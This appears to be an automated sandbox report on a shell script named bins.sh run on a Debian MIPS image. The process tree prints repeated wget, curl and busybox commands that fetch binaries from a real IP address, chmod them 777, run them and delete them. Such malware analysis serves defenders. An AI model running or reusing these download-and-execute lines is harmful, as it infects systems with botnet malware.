Overview

overview

8

Static

static

1

bins.sh

ubuntu-18.04-amd64

8

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 21:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    431b48448d4b1dfa1658bc2885794b2c

  • SHA1

    b50b7e76f9f7213c9537e92378a3a4b2834e057a

  • SHA256

    9eafacdae4bc698ac3772dec6d7fd58f52016d14ed2bebced95adb3bf5b11942

  • SHA512

    ac65c463a6209ee2391cd2c5e71fa5ba86113611edb0222341ca28e64257f7113f8f41ebd49ecb8ad38c90956f4b3121300695af5d34ef2f17aa8408c2d0425b

  • SSDEEP

    192:pTrjA8AAnTJGiOkqyc7PDm+MePU5m+Mqqyc7P6TJl0TrjA8iF:KAMP/PUxF

Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:774
        • /bin/chmod
          chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • File and Directory Permissions Modification
          PID:787
        • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Executes dropped EXE
          PID:788
        • /bin/rm
          rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
            PID:791
          • /usr/bin/wget
            wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:793
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:810
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:814
          • /bin/chmod
            chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • File and Directory Permissions Modification
            PID:815
          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Executes dropped EXE
            PID:816
          • /bin/rm
            rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
              PID:818
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:819
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:820
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:821
            • /bin/chmod
              chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • File and Directory Permissions Modification
              PID:822
            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Executes dropped EXE
              PID:823
            • /bin/rm
              rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
                PID:825
              • /usr/bin/wget
                wget http://216.126.231.240/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:826

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
              Filesize

              107KB

              MD5

              eb9c3a0de91fcf16ba17cb24608df68c

              SHA1

              09d95a7d70d5e115d103be51edff7c498d272fac

              SHA256

              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

              SHA512

              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

              Download Submit

            • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
              Filesize

              103KB

              MD5

              347f88dc93823cd8700dd725e9b9bdaf

              SHA1

              1470c91fe11aab710d9a60eedb62081ddd402e6e

              SHA256

              59bdd64e83eb621709cdbd7b90a8c5ba431e804e842b035e248775ed04988283

              SHA512

              e9d1eef56934e976f13192dbb19aa731568edfd21f62c09306574fdd0519d4ab56b5c08200866e57f0e3b2e9744c32ed067149ebe4cf2e9928ae9ecda651ac0e

              Download Submit

            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              Filesize

              89KB

              MD5

              6488679e3fb0ca443985ab43f8140a07

              SHA1

              0eba609a00f69937573f243e3a78223717c0fb39

              SHA256

              b1740689cec6d5798fc7293c8093a3a00913f8b2ba76ee36c89db508a07df4a8

              SHA512

              2e9259203e15ffc7d2f631ea2fa6ed56703ffb82f60b1d8a2bd15d8bd3bbc01f8d9093eaf528fbbb5e3f180269585997b8a10ed55232d97ca1d7e2632beca802

              Download Submit

            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              Filesize

              141KB

              MD5

              3ca8decdb1e52c423c521bfff02ac200

              SHA1

              8621ecd6807109b8541912ad9e134f6fb49bfd48

              SHA256

              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

              SHA512

              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

              Download Submit

            • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
              Filesize

              98KB

              MD5

              5141342d0df8699fa32a6b066a0c592e

              SHA1

              8157673225bd5182f16215e2aa823a25ca2d4fbc

              SHA256

              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

              SHA512

              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

              Download Submit